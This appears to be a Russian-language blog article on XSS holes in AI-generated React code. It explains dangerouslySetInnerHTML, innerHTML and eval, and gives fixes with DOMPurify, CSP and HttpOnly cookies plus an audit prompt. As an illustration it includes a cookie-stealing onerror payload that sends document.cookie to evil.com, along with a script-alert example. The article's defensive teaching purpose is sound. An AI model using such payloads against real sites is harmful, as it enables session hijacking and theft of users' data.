VibeCoderzVibeCoderz
Все статьи
Модели и сравнения2026/08/0410 мин чтения

AI-код и XSS в React как найти и закрыть уязвимости в 2026

Содержание (11)+

Нейросеть генерирует рабочий компонент за тридцать секунд, а дыру в нем находят через полгода, когда через нее уже утекли сессионные cookie. XSS в AI-коде на React встречается чаще любой другой уязвимости: модели пишут безопасный SQL-запрос в 82% случаев, а безопасную защиту от XSS дают только в 15%. Ниже разберем, откуда берется эта дыра в dangerouslySetInnerHTML, innerHTML и eval, как ее найти в уже написанном коде и чем закрыть без переписывания половины проекта.

Изображение

XSS остается самой недооцененной уязвимостью в коде, который пишут AI-ассистенты: свежий отчет Veracode весны 2026 года фиксирует всего 15% безопасных генераций против 82-86% по SQL-инъекциям и криптографии. В статье: разбор трех главных дыр React-кода, чек-лист поиска, рабочий фикс через DOMPurify и CSP, готовый промпт для аудита фронтенда.

Что такое XSS в AI-сгенерированном коде и почему это критично?

XSS (cross-site scripting) — это внедрение чужого JavaScript в страницу через данные, которые браузер считает безопасными. Нейросети регулярно пропускают эту дыру, потому что учились на демо-коде, где санитизация просто отсутствует.

Veracode прогнала более ста моделей на четырех классах уязвимостей и получила стабильную картину за последние два отчетных цикла. SQL-инъекции модели закрывают в 82% случаев, небезопасную криптографию в 86%, а вот с XSS справляются только в 15%. Общий балл безопасности по всем классам застрял на 56% и почти не двигается от версии к версии моделей.

Причина в природе тренировочных данных. SQL-инъекция это заученный паттерн из учебников, а XSS требует понимания контекста: откуда пришли данные, куда они попадут и что с ними сделает браузер. Модель отлично копирует синтаксис, но слабо рассуждает про такие цепочки. Разница между 82% и 15% как раз про это.

Класс уязвимостиДоля безопасных генераций AIЧто происходит при провале
SQL injection82%Утечка или удаление базы данных
Insecure cryptography86%Компрометация паролей и токенов
XSS (CWE-79)15%Кража cookie, захват сессии, дефейс страницы
Log injection13%Подмена логов, сокрытие следов атаки

Почему dangerouslySetInnerHTML стал главной дырой в React-проектах?

React экранирует текст по умолчанию, но dangerouslySetInnerHTML эту защиту отключает полностью. Нейросеть тянется к нему каждый раз, когда нужно вставить HTML из API или редактора, и часто забывает про санитизацию.

Само название содержит слово "dangerously" не случайно: команда React специально сделала синтаксис громоздким, чтобы разработчик остановился и подумал. AI-ассистент такой паузы не делает. Он видит задачу "вывести форматированный текст из базы" и выбирает самый короткий путь.

// Так AI обычно решает задачу "вывести описание из API"
function ProductCard({ description }) {
  return <div dangerouslySetInnerHTML={{ __html: description }} />;
}

Если description пришло от пользователя, от стороннего API или даже от другой нейросети, внутри может лежать <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">. Браузер отрисует картинку, событие onerror сработает мгновенно, и скрипт отправит cookie на чужой сервер. Никакого попапа с alert для пользователя, просто тихая кража за долю секунды.

Атака Open Redirection работает похожим образом: скрипт меняет location.href и уводит пользователя на фишинговую копию сайта прямо с легитимного домена. Жертва даже не заметит подмену адресной строки, если редирект происходит быстро.

Чем опасны innerHTML и eval() в коде, который написала нейросеть?

Вне React-компонентов AI так же охотно использует innerHTML в vanilla JS и изредка eval() для "динамической" логики. Оба варианта пускают чужой код прямо в контекст страницы пользователя.

Классика из практики: разработчик просит "показать комментарий пользователя на странице", и модель пишет element.innerHTML = comment. Разница с textContent кажется незначительной, но именно она отделяет текст от исполняемого кода. Один и тот же комментарий "Отличная статья!" отработает одинаково в обоих случаях, а вот <script>alert(document.cookie)</script> выполнится только через innerHTML.

Отдельно стоит вектор через URL-схемы. Атрибуты href и src, которые получают значение из пользовательского ввода, можно превратить в исполняемый код через javascript: или data:text/html схему, даже без единого тега <script> в строке. AI-код редко валидирует протокол ссылки перед вставкой, потому что задача звучала просто как "сделать ссылку кликабельной".

eval() встречается реже, но бьет сильнее: он выполняет произвольную строку как JavaScript с полным доступом к DOM и cookie. Нейросеть иногда предлагает его для "парсинга" данных или динамических вычислений там, где хватило бы JSON.parse или обычной функции. Если строка для eval хоть частично собрана из пользовательского ввода, это готовая дыра под удаленное выполнение кода в браузере жертвы.

Максим: «Мог засесть до пяти утра и просто править одну функцию, которая не работала. В моменте хотелось все бросить, но я понимал, что решить можно и нужно, чтобы идти дальше. С security-багами то же самое: не тот случай, где можно закрыть глаза и договориться с собой на потом.»

Как найти XSS уязвимости в уже написанном AI-коде?

Изображение

Быстрее всего искать через grep по опасным конструкциям и ESLint-правило, которое подсвечивает dangerouslySetInnerHTML прямо в редакторе. Дальше нужен ручной разбор каждого найденного места.

Первый проход занимает пять минут. Прогоните по репозиторию поиск трех строк: dangerouslySetInnerHTML, .innerHTML, eval(. Каждое совпадение это потенциальная точка входа, ее нужно проверить вручную: куда идут данные, проходят ли они через санитайзер до рендера.

Для постоянного контроля есть плагин eslint-plugin-react с правилом no-danger, которое подсвечивает dangerouslySetInnerHTML еще на этапе написания кода, до коммита. AI-ассистенты вроде Cursor и Claude Code видят предупреждения линтера в контексте и чаще предлагают безопасную альтернативу, если правило уже подключено к проекту.

Дальше идет более глубокий чек-лист:

  • откуда физически приходят данные: от пользователя, стороннего API, другой AI-модели (все три источника считаются недоверенными)
  • проходят ли они через санитайзер непосредственно перед рендером, а не где-то в середине пайплайна
  • есть ли валидация протокола у динамических ссылок (href, src, action)
  • используется ли eval, new Function() или setTimeout со строкой вместо функции
  • сохраняется ли непроверенный HTML в базу для последующего рендера другим пользователям (это уже stored XSS, самый опасный тип)

Как закрыть XSS без переписывания половины проекта?

Правило простое: для текста используйте textContent вместо innerHTML, а если HTML действительно нужен, пропускайте его через DOMPurify перед рендером. Это закрывает подавляющее большинство реальных случаев за один рефакторинг.

Изображение

DOMPurify чистит HTML на лету, вырезая опасные теги и атрибуты вроде onerror или onclick, оставляя безопасную разметку целой. Библиотека держит 3.4.x релиз и около 7 миллионов скачиваний в неделю, это фактический стандарт для клиентской санитизации в 2026 году.

import DOMPurify from 'dompurify';

function ProductCard({ description }) {
  const clean = DOMPurify.sanitize(description);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Для серверного рендера в Next.js DOMPurify тоже подходит через jsdom, но чаще для Node-окружения берут sanitize-html с явным allowlist тегов и атрибутов. Разница в подходе: DOMPurify заточен под браузер и скорость, sanitize-html под гибкую настройку разрешенного набора на сервере.

Изображение
ИнструментГде работаетКогда выбирать
DOMPurifyБраузер, DOM-basedРендер пользовательского HTML на клиенте, редакторы, markdown-превью
sanitize-htmlNode.js, серверОбработка HTML перед сохранением в базу, SSR-рендер
textContent / setAttributeВезде, без библиотекПростой текст без разметки, значения атрибутов

Для случаев без реальной необходимости в HTML самый надежный фикс это вообще убрать dangerouslySetInnerHTMLи перейти на textContent или обычный JSX с интерполяцией строки. React экранирует такую строку автоматически, и никакая библиотека не понадобится.

Помогает ли Content Security Policy если XSS все же проскочил?

CSP не убирает саму уязвимость, но не дает браузеру выполнить внедренный скрипт, даже если он попал в разметку. Это второй слой защиты, который работает независимо от санитизации на фронтенде.

Заголовок Content-Security-Policy сервер отправляет вместе с ответом и указывает браузеру, откуда можно грузить скрипты, стили и другие ресурсы. Базовая директива default-src 'self' разрешает загрузку только с текущего домена и блокирует все внешнее по умолчанию.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Ключевой момент: избегайте unsafe-inline в script-src, иначе CSP не сможет блокировать инлайновые скрипты, а именно через них чаще всего и заходит XSS. Если инлайн-скрипт действительно нужен, используйте динамические nonce или хэши вместо разрешения всех подряд. Перед полным включением политику стоит протестировать в режиме Content-Security-Policy-Report-Only, он логирует нарушения, но не блокирует ничего, пока вы не убедитесь, что легитимные ресурсы не задеты.

Настройка CSP и мониторинг нарушений обычно ложится на DevOps-часть проекта, и если у команды нет отдельного специалиста под это, можно посмотреть подборку DevOps-агентов под конкретные инфраструктурные задачи.

Что делать с cookies и сессиями, если XSS случится?

Флаг HttpOnly у cookie закрывает JavaScript доступ к чтению, поэтому даже успешная XSS-атака не сможет украсть сессионный токен напрямую через document.cookie.

Сервер выставляет флаг при установке cookie, и после этого браузер просто не отдает значение через JavaScript, ни document.cookie, ни любой другой API. Это не защита от самой уязвимости, а ограничение ущерба: скрипт может выполниться, но украсть авторизационный токен через cookie уже не получится.

Изображение

Отдельно стоит разграничивать данные внутри cookie: то, что реально нужно фронтенду (например, флаг темы интерфейса), можно оставить читаемым, а токены авторизации, refresh-токены и любые чувствительные значения помечать HttpOnly без исключений. AI-ассистенты по умолчанию не расставляют этот флаг, потому что в промпте обычно звучит просто "сохрани сессию", без уточнения про безопасность.

Промпт для XSS-аудита фронтенда

Готовый промпт для регулярной проверки. Работает в Cursor, Claude Code, GitHub Copilot Chat и любом чате с доступом к файлам проекта.

Проверь фронтенд-код проекта на XSS-уязвимости. Найди все места, где:
1. Используется dangerouslySetInnerHTML без вызова санитайзера (DOMPurify, sanitize-html) непосредственно перед ним
2. Используется .innerHTML вместо textContent для вставки динамических данных
3. Используется eval(), new Function() или setTimeout/setInterval со строкой вместо функции
4. Динамические href, src или action формируются из пользовательского ввода без проверки протокола (javascript:, data:)
5. Пользовательский HTML сохраняется в базу данных без санитизации перед сохранением (stored XSS)

Для каждой находки укажи: файл и строку, источник данных (пользователь/API/другая модель),
уровень риска (critical/high/medium), готовый фикс с кодом.
Не считай санитизированным код, если DOMPurify.sanitize() вызывается не прямо перед рендером,
а где-то в середине цепочки без гарантии, что данные не изменятся после.
Проверь связанные файлы, не только текущий.

Лайфхак: запускайте этот промпт после каждого крупного AI-сгенерированного PR, а не раз в квартал. Недетерминированность моделей означает, что один и тот же промпт может найти разное количество проблем от прогона к прогону, поэтому есть смысл прогнать его два-три раза на объемном коде.

Где AI справляется с XSS лучше, а где хуже?

Прямые вызовы API моделей проваливают XSS-тесты в 85% случаев, но независимое декабрьское исследование CSO Online по агентным инструментам (Claude Code, Cursor, Codex, Replit, Devin) не нашло ни одной эксплуатируемой XSS-дыры на тех же задачах.

Разница объясняется архитектурой. Прямой вызов модели через API получает промпт и выдает код за один проход, без ревью и без цикла исправлений. Агентные инструменты вроде Claude Code читают контекст всего проекта, могут прогнать линтер, тесты и даже собственный security-ревью перед тем как показать результат разработчику. Это не гарантия чистого кода, но заметно снижает долю дыр по сравнению с "голым" API-вызовом.

Сильная сторона AI здесь в том, что современные reasoning-модели (линейка GPT-5 с расширенным ризонингом) показывают 70-72% безопасных генераций против базовых 55%, потому что модель успевает "передумать" код перед выдачей. Слабая сторона в том, что даже 70% означает почти треть кода с известной уязвимостью, если полагаться только на модель без внешнего ревью.

Честная оговорка: ни один из этих подходов не заменяет ручную проверку критичных мест продукта. Автоматический аудит и агентные пайплайны снижают количество дыр, но не гарантируют их отсутствие, особенно в местах, где санитизация нужна не по очевидному паттерну, а по контексту конкретного продукта.

Итог: кому и когда нужен ручной аудит XSS

Для небольшого лендинга или MVP без пользовательского контента риск XSS минимальный: там просто нечего внедрять. Как только в проекте появляется пользовательский ввод, который рендерится другим пользователям (комментарии, профили, чаты, markdown-редакторы), аудит становится обязательным шагом перед продакшеном.

Тип проектаРиск XSSЧто делать
Лендинг, статичный контентНизкийБазовая гигиена, CSP как страховка
Личный кабинет без UGCСреднийESLint-правило + аудит перед релизом
Чат, комментарии, markdown-редакторВысокийDOMPurify обязательно, CSP, HttpOnly, регулярный промпт-аудит
Продукт с деньгами и авторизациейКритическийВсе вышеперечисленное плюс ручной пентест перед крупными релизами

Если проект уже в продакшене и вы не уверены, сколько там таких мест, лучше прогнать промпт-аудит из этой статьи прямо сейчас, а не после первого инцидента. Обзоры инструментов для проверки кода собраны в каталоге AI IDE и инструментов, там же есть Cursor и Claude Code с разбором их встроенных проверок безопасности.

FAQ

Правда ли, что React полностью защищает от XSS? Нет. React экранирует обычные строки в JSX автоматически, но dangerouslySetInnerHTML отключает эту защиту полностью. Достаточно одного такого места без санитизации, чтобы уязвимость появилась.

DOMPurify замедляет рендер на больших объемах текста? На практике нет. Библиотека спроектирована под скорость и справляется с сотнями килобайт HTML без заметной задержки. Разница ощутима только при санитизации мегабайтных документов в реальном времени.

Нужен ли CSP, если весь HTML уже проходит через DOMPurify? Да, потому что CSP это независимый второй слой. Если санитайзер пропустит новый вектор атаки, который еще не знает разработчик, CSP все равно заблокирует выполнение скрипта на уровне браузера.

Можно ли доверять коду от Claude Code или Cursor без проверки на XSS? Нет. Даже лучшие агентные инструменты снижают долю дыр, но не убирают ее полностью. Промпт-аудит из статьи и ручная проверка критичных мест обязательны перед продакшеном.

Чем отличается XSS от SQL-инъекции по сложности защиты для AI? SQL-инъекция это заученный паттерн, модели видели тысячи правильных примеров с параметризованными запросами. XSS требует понимания контекста данных, и здесь модели рассуждают заметно хуже: 15% против 82% безопасных генераций.

Что делать, если в проекте уже используется eval() для парсинга данных? В большинстве случаев его можно заменить на JSON.parse() для данных или обычную функцию для вычислений. Оставлять eval() со строкой, в которую попадает пользовательский ввод, нельзя ни при каких обстоятельствах.

Как быстро проверить один компонент на XSS без полного аудита? Найдите все места с dangerouslySetInnerHTML, .innerHTML и eval( через поиск по файлу, затем проверьте для каждого источник данных. Если данные хоть теоретически могут прийти от пользователя и не проходят через санитайзер, это дыра.



Если после аудита осталось много неясных мест или проект уже в продакшене с реальными пользователями, запишитесь на консультацию к Максиму: разберем архитектуру конкретного проекта и приоритеты по фиксам.

Обновлено: октябрь 2026. Данные Veracode, DOMPurify и CSO Online актуальны на дату публикации, проверяйте свежие релизы библиотек перед внедрением.

Автор

Максим Наговицын

Маркетинг-стратег, IT-предприниматель, ментор по вайбкодингу

2026/08/04

10+ лет в маркетинге, 300+ клиентских проектов: сайты, реклама, боты. Создатель GoBanana (228K+ пользователей, 11.6 млн ₽ выручки) и VibeCoderz. Делаю AI-продукты сам через Claude Code, Cursor, Windsurf и консультирую тех, кто хочет так же.

Об авторе →
All Posts

Инструменты, упомянутые в статье

Читать далее

📄 Статья

Qwen 3.8 Max 2026 обзор, доступ и как запустить локально

Qwen 3.8 Max стала первой моделью линейки Max, у которой Alibaba открыла веса. 12 августа 2026 года чекпоинт на 2,4 трлн параметров появился на Hugging Face, и скачать его может любой. А вот запустить дома не выйдет: даже 1-битная версия весит 397 ГБ…

2026/10/1212 мин
📄 Статья

Gemini 3.8 Flash в 2026 году, что умеет новая модель Google

Gemini 3.8 Flash это быстрая и дешевая модель Google, которая вышла 2 сентября 2026 года и сразу стала моделью по умолчанию для агента в Antigravity. Отдельной Gemini 3.8 Pro пока не существует, поэтому запросы «gemini 3.8 pro» и «gemini 3.8 flash pr…

2026/10/1214 мин
📄 Статья

Как подключить Mem0, слой памяти для AI-агентов, в 2026 году

Mem0 — это open source библиотека, которая дает LLM-агенту долгосрочную память: он сам вытаскивает важные факты из диалога и находит их в следующей сессии. По данным на август 2026 года у проекта на GitHub больше 64 000 звезд, лицензия Apache 2.0, а…

2026/09/088 мин
📄 Статья

CodeRabbit vs Greptile сравнение AI-ревьюеров pull request 2026

CodeRabbit AI и Greptile - два самых обсуждаемых AI-ревьюера pull request в 2026 году, и выбор между ними реально влияет на скорость мерджа и число багов, которые долетают до прода. CodeRabbit держит ставку на широкую поддержку платформ и аккуратност…

2026/09/089 мин
📄 Статья

Firecrawl: превратить любой сайт в данные для LLM за 5 минут

Firecrawl — сервис, который превращает любой сайт в чистый Markdown или структурированный JSON одним API-запросом, без ручного парсинга HTML. За API стоит компания Mendable.ai, выпускник Y Combinator, а открытое ядро проекта на GitHub собрало больше…

2026/09/0410 мин
📄 Статья

Вайбкодинг игр 2026, от идеи до публикации на Godot Pygame и Unity

Вайбкодинг игр — это создание рабочей игры через диалог с нейросетью вместо написания кода вручную. В 2026 году это уже не эксперимент: разработчики собирают 2D-платформеры на Pygame за вечер, текстовые RPG за день и прототипы раннеров на Godot с Cla…

2026/08/1811 мин